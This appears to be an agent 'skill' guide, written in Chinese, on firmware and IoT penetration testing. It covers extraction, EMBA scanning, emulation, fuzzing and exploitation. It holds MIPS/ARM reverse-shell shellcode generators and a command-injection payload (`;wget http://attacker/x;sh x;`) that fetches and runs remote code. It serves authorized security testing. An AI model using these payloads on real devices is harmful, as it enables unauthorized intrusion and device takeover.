Firmware Pentest

固件 / IoT 渗透链 (Firmware Pentest)

适用范围

下列任务进入本 skill：

1. 拿到一份固件文件（.bin / .img / .trx / .chk / OTA zip），需要从零到 RCE 2. 路由器/摄像头/IoT 设备审计 — 需要批量发现已知 CVE 和未公开漏洞 3. 加密/打包固件，需要找 bootloader 解密例程或硬件 dump 4. 需要在不接触硬件的情况下跑起来（QEMU 全系统仿真 / Firmadyne / FAT） 5. 对仿真起来的服务做 fuzz（AFL++ qemu mode / boofuzz） 6. 硬件接口接入（UART / JTAG / SPI flash dump）

与其他 skill 分工

核心原理

固件 .bin
   │
   ├─ Stage 1-3: 信息收集 / 获取 / 静态分析（不解压也能看的部分）
   │
   ├─ Stage 4: 提取文件系统  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
   │
   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep
   │
   ├─ Stage 6: 模拟运行  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: 动态 / 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra
   │
   └─ Stage 9: 二进制利用  ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload

关键判断：

• 提取失败不等于固件加密，先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍
• EMBA 一行命令出 HTML 报告，能省 80% 体力，剩 20% 是真正的漏洞挖掘
• 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、/dev/ 节点缺失
• ARM / MIPS payload 必须区分大小端（mipsel vs mipseb），别用错

OWASP FSTM 九阶段工作流

Stage 1 — 信息收集（Information Gathering）

收集型号、芯片、SDK、已公开 CVE。

# FCC ID 查询（美区设备）
curl -s "https://fccid.io/?q=$FCC_ID"

# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

输出：芯片型号、SDK 来源（SDK 决定 binwalk 能否一把成功）。

Stage 2 — 获取固件（Obtaining Firmware）

四条路：官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。

# OTA 抓包后批量下载
mitmdump -s save_response.py

# UART 接入（USB-TTL，常用波特率 57600 / 115200）
picocom -b 115200 /dev/ttyUSB0

# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin

Stage 3 — 分析固件（Analyzing Firmware）

不解压先看头部、熵、字符串、可识别签名。

binwalk firmware.bin              # magic 扫描
binwalk -E firmware.bin           # 熵图，高熵段=压缩/加密
strings -n 8 firmware.bin | less  # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 — 提取文件系统（Extracting Filesystem）

详见 references/extraction-methodology.md。

binwalk -eM firmware.bin           # 递归提取
unblob -d out/ firmware.bin        # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 — 静态分析文件系统（Filesystem Analysis）

EMBA 一键扫，详见 references/emba-automated-analysis.md。

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

手工补：

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — 模拟运行（Emulating Firmware）

详见 references/emulation-and-fuzz.md。

# 用户态：跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# 全系统：FAT（Firmadyne 封装版）
sudo fat.py firmware.bin

Stage 7 — 动态分析（Dynamic Analysis）

仿真起来后挂调试器、抓流量、跑 fuzz。

# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"

Stage 8 — 运行时分析（Runtime Analysis）

在真实硬件上挂调试器，或者仿真态做覆盖率制导 fuzz。

# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — 二进制利用（Exploitation）

写 PoC，生成 payload，落地 root shell。

# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"

典型场景示例

场景 1：普通路由器固件全链路（TP-Link / 小米路由器 / OpenWrt 衍生）

固件: router_v1.2.3.bin（未加密 squashfs）
目标: 找 Web 管理界面未授权 RCE 并复现

Step 1 信息收集
  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash
  - 已公开 CVE：CVE-2023-xxxxx（chk 头校验缺陷）

Step 2 获取固件
  - 官网下载 .bin，sha256 与已知样本对比

Step 3 分析
  - binwalk → 检出 uImage + squashfs-xz
  - 熵图 → squashfs 段熵 ~0.95（正常压缩）

Step 4 提取
  - binwalk -eM router_v1.2.3.bin
  - 得到 squashfs-root/ 完整根文件系统

Step 5 EMBA 扫
  - 报告里高危：lighttpd 1.4.45（CVE-2018-19052）+ busybox 1.27.2 多 CVE
  - 自家二进制：/usr/sbin/cgibin 含 system() 直拼字符串

Step 6 仿真
  - sudo fat.py router_v1.2.3.bin
  - 仿真起来 IP 192.168.0.1，Web 可访问

Step 7-8 动态
  - Burp 抓 /cgi-bin/luci 系列接口
  - 发现 hostname 参数直拼 system

Step 9 利用
  - 构造 hostname=`;wget http://attacker/x;sh x;`
  - 仿真态成功反弹 shell
  - 真机复测通过 → 提报 SRC

场景 2：加密固件（找 bootloader 解密例程）

固件: encrypted_fw.bin（binwalk 全空白 + 熵 ~0.99）

Step 1 判断是否真加密
  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
  - 头部前 256 字节 hexdump → 看是否有 vendor header

Step 2 拿到 bootloader
  - UART 启动时按键进 U-Boot
  - md.b 0x80000000 0x1000   # 读内存
  - 或 SPI flash 物理读取整片 → 含 U-Boot 段

Step 3 逆 U-Boot 找解密例程
  - 用 reverse-engineering skill（IDA / Ghidra）
  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt
  - 通常是 AES-128-CBC，key 硬编在 .rodata

Step 4 离线解密
  openssl enc -d -aes-128-cbc \
    -K $(cat key.hex) \
    -iv  $(cat iv.hex) \
    -in encrypted_fw.bin \
    -out decrypted.bin

Step 5 回到 Stage 4 重新走标准流程
  - binwalk decrypted.bin → 看到 squashfs
  - 后续与场景 1 相同

兜底
  - bootloader 也加密 → 找 SoC 一级 ROM 文档
  - SoC 有安全启动 → 看公开 fault injection / glitch 资料

注意事项

• 大小端：MIPS 路由器常见 mipsel（小端，MT 系列）/ mipseb（大端，Broadcom 系列），qemu binary 别用错
• NVRAM：仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值，Firmadyne 有 libnvram hook，FAT 默认带
• EMBA 不是银弹：跑出来一堆 CVE 别全信，要核对版本字符串和实际利用条件
• AFL++ qemu mode 慢：先用 afl-clang-lto 重编译目标（如果有源码），快 5-10 倍
• 真机操作前先 dump：物理设备砖前必备整片 flash dump，用 flashrom / ch341a / minipro
• 法律边界：自家设备、SRC 授权、CTF、公开靶机才能搞，企业生产设备需要书面授权
• field-journal 回写：每完成一个固件，记录芯片型号、SDK、binwalk 是否成功、仿真是否成功，下次同系列直接复用

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按需自举（On-Demand Bootstrap）

工具清单

安装命令

# Debian / Ubuntu 一把梭
sudo apt update && sudo apt install -y \
  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
  gdb-multiarch picocom flashrom build-essential libssl-dev

# binwalk v3（Rust 版）
cargo install binwalk

# Python 系列工具
pip3 install --user unblob jefferson ubi_reader pwntools

# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d

# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh

# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat

# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install

Windows 用户

固件渗透链强依赖 Linux 工具，建议：

• WSL2 Ubuntu 22.04（足够大多数场景）
• 或独立 Kali / Ubuntu 虚拟机
• EMBA 必须 Linux，Firmadyne / FAT 必须 Linux

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路由上下文

上游入口: skills/SKILL.md（总控）、routing.md 触发条件: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计 下游出口:

• 单个二进制深度静态分析 → reverse-engineering/、ida-reverse/、radare2/
• 仿真起来后做 Web RCE / 后渗透 → pentest-tools/、attack-chain/
• 跨版本固件符号迁移 → binary-diff/
• 硬件接口实操参考 → patterns-hardware.md
• APK / boot.img 处理 → apk-reverse/

同级关联: pentest-tools/（Web 利用阶段配合）、attack-chain/（跨阶段攻击链规划）

参考文档:

• references/extraction-methodology.md — 提取细节与失败兜底
• references/emba-automated-analysis.md — EMBA 全流程
• references/emulation-and-fuzz.md — 仿真 + fuzz 实战

EMBA 自动化分析

参考：https://github.com/e-m-b-a/emba

EMBA = Embedded Analyzer。开源固件自动化审计框架，一行命令跑完静态扫描 + 仿真 + CVE 比对 + 报告生成。

它能做什么

安装

# 系统要求：Ubuntu 22.04 / Debian 12 / Kali（必须 Linux）
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba

# 一键安装（会装 Docker、qemu、各类 scanner、CVE 数据库）
sudo ./installer.sh -d

# 验证
sudo ./emba --help

一行命令跑全套

sudo ./emba \
  -l ./logs/router_v1.2.3 \
  -f ./firmware/router_v1.2.3.bin \
  -p ./scan-profiles/default-scan.emba

参数：

推荐组合

# 深度 + Docker + Web 报告
sudo ./emba -D -l ./logs/x -f ./firmware.bin \
  -p ./scan-profiles/default-scan.emba -t -Q -W

# 快速预扫（看看值不值得深挖）
sudo ./emba -D -l ./logs/x -f ./firmware.bin \
  -p ./scan-profiles/quick-scan.emba

# 离线模式（无网络环境）
sudo ./emba -D -l ./logs/x -f ./firmware.bin \
  -p ./scan-profiles/default-scan-no-notify.emba

scan-profiles 选哪个

集成的子工具

EMBA 内置 / 调度的扫描器：

输出报告解读

跑完后看 ./logs/router_v1.2.3/：

logs/router_v1.2.3/
├── html-report/
│   └── index.html              ← 主入口，浏览器打开
├── csv_logs/                   ← grep / awk 用
├── json_logs/                  ← 程序化处理用
├── s05_firmware_details.txt    ← 固件基本信息
├── s09_firmware_base_version_check.txt  ← 版本检测
├── s12_binary_protection.txt   ← checksec 汇总
├── s20_shell_check.txt         ← shell 脚本问题
├── s24_kernel_bin_identifier.txt
├── s40_weak_perm_check.txt     ← 权限问题
├── s108_stacs_password_search.txt  ← 密码 / 密钥泄漏
├── s109_jtr_local_pw_cracking.txt   ← shadow 破解结果
├── s115_usermode_emulator.txt  ← 用户态仿真结果
├── q02_openssl_bin_version_check.txt
├── l10_system_emulator.txt     ← 全系统仿真状态
├── l15_emulated_checks_init.txt
└── f50_base_aggregator.txt     ← 总聚合

HTML 报告重点字段

打开 html-report/index.html，关注：

1. Summary 块 — 风险评级（CRITICAL / HIGH / MEDIUM）+ CVE 数量 2. Firmware details (S05) — 内核版本、busybox 版本、SDK 厂商 3. Version detection (S09) — 所有识别出的二进制 + 版本，对比 CVE 4. Binary protection (S12) — 哪些二进制没开 NX / RELRO（fuzz / 利用容易） 5. Password / Secrets (S108) — 硬编码凭据直接看 6. System emulation (L10) — 仿真是否成功 + 跑起来的服务 7. Aggregator (F50) — 一页总结，先看这个

CVE 比对优先级

报告里一堆 CVE 别全信，按这个顺序复核：

1. CVE 评分 ≥ 7.5 + 影响网络服务（lighttpd / dropbear / 内置 httpd）
2. CVE 有公开 PoC（Exploit-DB / GitHub）
3. 二进制确实存在该版本（version string 命中）
4. 暴露在监听端口上（结合 L10 仿真结果看 netstat）
5. 不需要认证或认证容易绕（结合源码 / 反汇编看）

何时用 EMBA，何时手工

EMBA 的强项是把 80% 的体力活包了，让你专注剩下 20% 真正需要脑子的部分。

二次开发 / 自定义规则

EMBA 模块化设计，可以塞自家规则：

# 自定义 yara 规则
cp my_rule.yar ~/tools/emba/external/yara/

# 自定义 Semgrep 规则
cp my_rule.yaml ~/tools/emba/config/semgrep_rules/

# 调整 CVE 严重性阈值
vim ~/tools/emba/config/emba_emulator_db.cfg

模块加载顺序在 ~/tools/emba/modules/ 下，文件名前缀决定执行阶段。

常见坑

1. installer.sh 卡住 → 网络问题，开代理或换镜像源
2. CVE 数据库过期 → ./emba_db_update.sh 强制刷新
3. QEMU 仿真失败 → 改用 default-scan-emulation.emba profile
4. Docker 模式磁盘爆 → 清理 /var/lib/docker/overlay2
5. 报告里 CVE 全是 N/A → cve-bin-tool 数据库没下载完，重跑 installer
6. 内存不足 → 32GB+ 推荐，大固件 64GB
7. 在 WSL2 里跑 → 关 systemd-resolved，启用 cgroup v2

配套阅读

• EMBA paper / 用户手册：https://github.com/e-m-b-a/emba/blob/master/README.md
• 在线 demo 报告：https://e-m-b-a.github.io/emba/
• 自定义模块开发：https://github.com/e-m-b-a/emba/wiki

仿真与模糊测试

参考：

• Firmadyne https://github.com/firmadyne/firmadyne
• FAT https://github.com/attify/firmware-analysis-toolkit
• AFL++ https://github.com/AFLplusplus/AFLplusplus

仿真三档

选择策略：

只想看 httpd 接口        → 用户态
想真实跑起来管理界面     → 全系统
仿真起不来某外设         → 半真机或硬件
不在意效率追求真实       → 真机

用户态仿真（QEMU User Mode）

最快路径，几条命令出 shell。

# 1. 把 qemu-user-static 拷进 rootfs
cp /usr/bin/qemu-mipsel-static squashfs-root/usr/bin/

# 2. chroot 进去
sudo chroot squashfs-root /usr/bin/qemu-mipsel-static /bin/sh

# 3. 直接跑目标 binary
sudo chroot squashfs-root /usr/bin/qemu-mipsel-static /usr/sbin/httpd

# 4. 不 chroot 直接跑（路径相对）
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

架构对照表：

判断架构：

file squashfs-root/bin/busybox
# 输出例：ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV)
#        LSB = mipsel, MSB = mipseb

用户态的坑

• `/proc` 不可用 → mount -t proc proc squashfs-root/proc
• 缺设备节点 → mknod squashfs-root/dev/null c 1 3
• DNS 解析失败 → 拷一份 /etc/resolv.conf 进去
• 网络监听 → qemu-user 对网络栈支持有限，bind 高端口能成，低端口可能要 root
• nvram_get 拿不到值 → 用户态没 NVRAM，httpd 经常崩；上全系统仿真

全系统仿真（Firmadyne）

完整流程：提取 → 识别架构 → 构造 image → 启动 + NVRAM hack。

安装

git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne
sudo ./download.sh             # 下载预编译内核

# 配置 PostgreSQL
sudo -u postgres createuser -P firmadyne   # 密码 firmadyne
sudo -u postgres createdb -O firmadyne firmware
sudo -u postgres psql -d firmware < ./database/schema

完整流程

cd ~/tools/firmadyne
FW=/path/to/firmware.bin

# Step 1: 注册固件到数据库
./sources/extractor/extractor.py -b TPLink -sql 127.0.0.1 -np -nk \
  "$FW" images

# Step 2: 识别架构
IID=$(psql -d firmware -U firmadyne -c "SELECT id FROM image \
  ORDER BY id DESC LIMIT 1;" -t | tr -d ' ')
./scripts/getArch.sh "./images/${IID}.tar.gz"

# Step 3: 把内核 + rootfs 装配成可启动 image
./scripts/tar2db.py -i "$IID" -f "./images/${IID}.tar.gz"
sudo ./scripts/makeImage.sh "$IID"

# Step 4: 推断网络配置（DHCP / 静态 IP）
./scripts/inferNetwork.sh "$IID"

# Step 5: 启动
./scratch/${IID}/run.sh

启动后会输出仿真 IP，浏览器访问：

# 假设输出 192.168.0.1
curl -I http://192.168.0.1/
nmap -p- 192.168.0.1

NVRAM hack

Firmadyne 自带 libnvram.so，hook 所有 nvram 读取调用，返回默认值。

# 查看 libnvram 默认值表
cat ~/tools/firmadyne/nvram_files/nvram.default

# 加自定义 NVRAM 项（针对崩在特定 nvram_get 的服务）
echo "wan_ipaddr=192.168.0.100" >> ~/tools/firmadyne/nvram_files/nvram.default
echo "lan_ifname=br0"            >> ~/tools/firmadyne/nvram_files/nvram.default

# 重新打包 image
sudo ./scripts/makeImage.sh "$IID"

常见坑

FAT（Firmware Analysis Toolkit）

Firmadyne 的封装，一行启动。

git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
cd ~/tools/fat
sudo pip3 install -r requirements.txt

# 编辑 fat.config 指向 Firmadyne 路径
vim fat.config

# 跑
sudo ./fat.py /path/to/firmware.bin

FAT 自动做完 extractor → getArch → makeImage → inferNetwork → run，一条命令到仿真 shell。

适合快速验证；遇到坑还是回到 Firmadyne 手工流程。

仿真态做 AFL++ Fuzz

三种模式选哪个

AFL++ QEMU mode（对仿真二进制 fuzz）

# 1. 准备 AFL++ qemu 后端（架构对应）
cd ~/tools/aflpp/qemu_mode
CPU_TARGET=mipsel ./build_qemu_support.sh

# 2. 准备种子语料
mkdir -p in/
echo "GET / HTTP/1.0" > in/seed1

# 3. 启动 fuzz
afl-fuzz -Q -i in/ -o out/ -- \
  qemu-mipsel-static -L squashfs-root/ \
  squashfs-root/usr/sbin/httpd

# 4. 监控覆盖率
afl-whatsup out/

Persistent mode（速度 10x）

// harness.c：把目标主循环改造为 input-driven
#include <stdio.h>
__AFL_FUZZ_INIT();

int main() {
    __AFL_INIT();
    unsigned char *buf = __AFL_FUZZ_TESTCASE_BUF;
    while (__AFL_LOOP(10000)) {
        int len = __AFL_FUZZ_TESTCASE_LEN;
        process_request(buf, len);   // 目标函数
    }
}

afl-clang-lto -o harness harness.c target.c
afl-fuzz -i in/ -o out/ -- ./harness

afl-clang-lto 重编译（有源码）

# 源码 in tree
export CC=afl-clang-lto CXX=afl-clang-lto++
export AFL_USE_ASAN=1
make clean && make
afl-fuzz -i in/ -o out/ -- ./target @@

网络服务 fuzz：boofuzz

针对自定义二进制协议或仿真起来的服务。

pip3 install boofuzz

# fuzz_httpd.py
from boofuzz import *

session = Session(target=Target(connection=TCPSocketConnection("192.168.0.1", 80)))

s_initialize(name="http_get")
s_string("GET", fuzzable=False)
s_delim(" ", fuzzable=False)
s_string("/", fuzzable=True)
s_string(" HTTP/1.0\r\n", fuzzable=False)
s_string("Host: 192.168.0.1\r\n", fuzzable=True)
s_string("\r\n", fuzzable=False)

session.connect(s_get("http_get"))
session.fuzz()

sudo python3 fuzz_httpd.py
# 配合 ./scratch/${IID}/run.sh 监控 console，看 crash

ARM / MIPS payload 速查

# pwntools 生成 reverse shell
python3 - <<'EOF'
from pwn import *

# MIPS little-endian
context.clear(arch='mips', endian='little', os='linux')
sc = shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()
print(asm(sc).hex())

# ARM little-endian
context.clear(arch='arm', endian='little', os='linux')
sc = shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()
print(asm(sc).hex())
EOF

# ROP gadget 搜索
ropper --file ./httpd --search "system"
ROPgadget --binary ./httpd --only "pop|ret"

调试器接入

# 用户态 + gdbserver 模式
qemu-mipsel-static -g 1234 -L squashfs-root/ ./vuln_binary

# 另一终端
gdb-multiarch ./vuln_binary
(gdb) set architecture mips
(gdb) target remote :1234
(gdb) b *0x00401234
(gdb) c

# 全系统仿真接 gdb
# 改 ./scratch/${IID}/run.sh，qemu-system-mips 加参数：
#   -s -S
# 然后
gdb-multiarch
(gdb) target remote :1234

一键 fuzz 工作流

#!/bin/bash
FW=$1
IID=$2

# 1. 仿真起来
~/tools/fat/fat.py "$FW" &
sleep 30

# 2. 拿到 IP
IP=$(grep "br0" ~/tools/firmadyne/scratch/$IID/qemu.final.serial.log | head -1)

# 3. 网络 fuzz
python3 fuzz_httpd.py "$IP"

# 4. 同时 AFL++ 跑用户态
afl-fuzz -Q -i in/ -o out/ -- \
  qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd &

wait

引用

• Firmadyne: https://github.com/firmadyne/firmadyne
• FAT: https://github.com/attify/firmware-analysis-toolkit
• AFL++: https://github.com/AFLplusplus/AFLplusplus
• boofuzz: https://github.com/jtpereyda/boofuzz
• pwntools: https://github.com/Gallopsled/pwntools

固件提取方法论（OWASP FSTM Stage 4）

参考：https://scriptingxss.gitbook.io/firmware-security-testing-methodology

固件提取是整条链的瓶颈。binwalk 一把成功是运气，多数固件需要换工具组合拳。

工具对比

选择策略：

未知固件 → binwalk v3 → 失败 → unblob → 仍失败 → 手工 hexdump + 熵分段
已知 JFFS2 → jefferson 直接上
已知 UBI  → ubi_reader 直接上
已知 SquashFS 且偏移已知 → dd + unsquashfs

标准流程

1. 头部识别

binwalk firmware.bin
# 期望看到的关键字段：
#   uImage header / DECIMAL signature / TRX / CHK / SquashFS / JFFS2 / UBI

file firmware.bin
hexdump -C firmware.bin | head -32

vendor header 常见模式：

TRX:  HDR0  (Asus / Linksys / Netgear 旧款)
CHK:  2A 23 24 5E  (TP-Link 部分)
DLOB: 4D 5A 4F 41  (D-Link 加密头)
uImage: 27 05 19 56

2. 熵分析

binwalk -E firmware.bin
# 输出 firmware.bin.png

判读：

3. 递归提取

# binwalk v3
binwalk -e firmware.bin                  # 单层提取
binwalk -Me firmware.bin                 # 递归提取（matryoshka）

# binwalk v2（旧版兼容）
binwalk2 --run-as=root -eM firmware.bin

# unblob
unblob -d out/ firmware.bin
unblob --depth 10 -d out/ firmware.bin   # 深度递归

# 输出结构（典型）
# _firmware.bin.extracted/
#   ├── 0.uImage
#   ├── 80.gzip
#   └── 1A0000.squashfs
#       └── squashfs-root/
#           ├── bin/  etc/  usr/  lib/  sbin/  ...

4. 文件系统分类处理

SquashFS

unsquashfs -d rootfs/ rootfs.squashfs

# squashfs 用了非标 magic？指定偏移
unsquashfs -d rootfs/ -offset 0x100 rootfs.squashfs

# LZMA 变种（老 Realtek SDK 常见）
sasquatch rootfs.squashfs            # squashfs-tools-ng 的兄弟项目

非标 SquashFS 是路由器固件最常见的坑，原版 unsquashfs 解不开时换 sasquatch。

JFFS2

jefferson rootfs.jffs2 -d rootfs/

# 大端 JFFS2
jefferson -v -b rootfs.jffs2 -d rootfs/

# 失败兜底：手工 mount
sudo modprobe mtdram total_size=32768 erase_size=128
sudo modprobe mtdblock
sudo dd if=rootfs.jffs2 of=/dev/mtdblock0
sudo mount -t jffs2 /dev/mtdblock0 /mnt/jffs2

UBI / UBIFS

# 提取 UBI volume
ubireader_extract_images rootfs.ubi -o out/

# 直接提文件
ubireader_extract_files rootfs.ubi -o rootfs/

# UBIFS 单独存在
ubireader_utils_info rootfs.ubifs

UBI 镜像常见坑：peb_size / leb_size 不标准，需要手工指定：

ubireader_extract_files -p 131072 -l 126976 rootfs.ubi -o rootfs/

CramFS

cramfsck -x rootfs/ rootfs.cramfs

# binwalk 自带的 sasquatch 也能解

YAFFS2（Android 老系统 / 部分嵌入式）

git clone https://github.com/ehlers/unyaffs2
unyaffs2 rootfs.yaffs2 rootfs/

多 partition（A/B 分区固件）

binwalk firmware.bin
# 看到多个 SquashFS 偏移 0x100000 和 0x800000
dd if=firmware.bin of=part_a.bin bs=1 skip=$((0x100000)) count=$((0x700000))
dd if=firmware.bin of=part_b.bin bs=1 skip=$((0x800000))

加密固件兜底

判断是否真加密

binwalk -E firmware.bin
# 全段熵 ~0.99 且无 magic → 大概率加密 / 全段压缩

# 看是否有 vendor wrapper
xxd firmware.bin | head -8
# 看是否能找到任何已知 magic 在偏移 0x100 / 0x200 / 0x1000
binwalk --offset 256  firmware.bin
binwalk --offset 4096 firmware.bin

处理路径

1. 找官方升级固件，对比加密 vs 明文版本
2. UART 拿到 U-Boot → 内存 dump 解密后的 image
3. SPI flash 物理 dump → 包含 bootloader 段
4. 逆 bootloader / 升级工具找密钥
5. 利用已公开同芯片解密方案

内存 dump（U-Boot）

# 串口接入
picocom -b 115200 /dev/ttyUSB0

# 启动时按键中断 → 进入 U-Boot
# 加载固件到内存
=> tftpboot 0x80000000 firmware.bin

# 等设备内部解密完，dump 解密后的镜像
=> md.b 0x80000000 0x800000          # 看一眼内容
=> save tftp 0x80000000 dump.bin 0x800000

失败兜底套路

hexdump 找 magic

# 全文件搜常见 magic
binwalk --signature firmware.bin

# 手工搜 SquashFS magic
xxd firmware.bin | grep -E "(hsqs|sqsh)"

# 手工搜 gzip magic
xxd firmware.bin | grep -E "1f 8b 08"

按熵分段切片

# 输出熵 CSV
binwalk -E --save firmware.bin

# 手工切高熵段
dd if=firmware.bin of=segment_1.bin bs=4096 skip=256 count=512
file segment_1.bin
binwalk segment_1.bin

坏块处理

# SPI flash dump 有 ECC 错误 → ddrescue
ddrescue -d -r3 /dev/sdb dump.bin dump.log

# NAND flash dump 含 OOB → 剥离
nanddump --noecc --omitoob -f clean.bin /dev/mtd0

多次 dump 取多数票

# SPI flash 物理读不稳，dump 3 次取交集
flashrom -p ch341a_spi -r dump1.bin
flashrom -p ch341a_spi -r dump2.bin
flashrom -p ch341a_spi -r dump3.bin
sha256sum dump*.bin
# 不一致 → 重读 / 降速 / 换 clip

提取后立即做的事

cd squashfs-root/

# 1. 看根目录结构
ls -la
# 期望：bin/ etc/ lib/ sbin/ usr/ var/ proc/ ...

# 2. 找 init / 启动脚本
cat etc/inittab 2>/dev/null
cat etc/init.d/rcS 2>/dev/null
ls etc/init.d/

# 3. 找硬编码凭据
grep -rE "(password|passwd|admin|root):" etc/passwd etc/shadow 2>/dev/null

# 4. 找 Web 服务入口
find . -name "httpd" -o -name "lighttpd" -o -name "mini_httpd" -o -name "uhttpd"
find . -path "*cgi-bin*" -type f

# 5. 找 telnet / ssh / debug
find . -name "telnetd" -o -name "dropbear" -o -name "sshd"

# 6. 看 banner / 版本
cat etc/banner etc/issue etc/version 2>/dev/null
strings bin/busybox | head -3

引用

• OWASP FSTM Stage 4: https://scriptingxss.gitbook.io/firmware-security-testing-methodology
• binwalk v3: https://github.com/ReFirmLabs/binwalk
• unblob: https://github.com/onekey-sec/unblob
• jefferson: https://github.com/sviehb/jefferson
• ubi_reader: https://github.com/onekey-sec/ubi_reader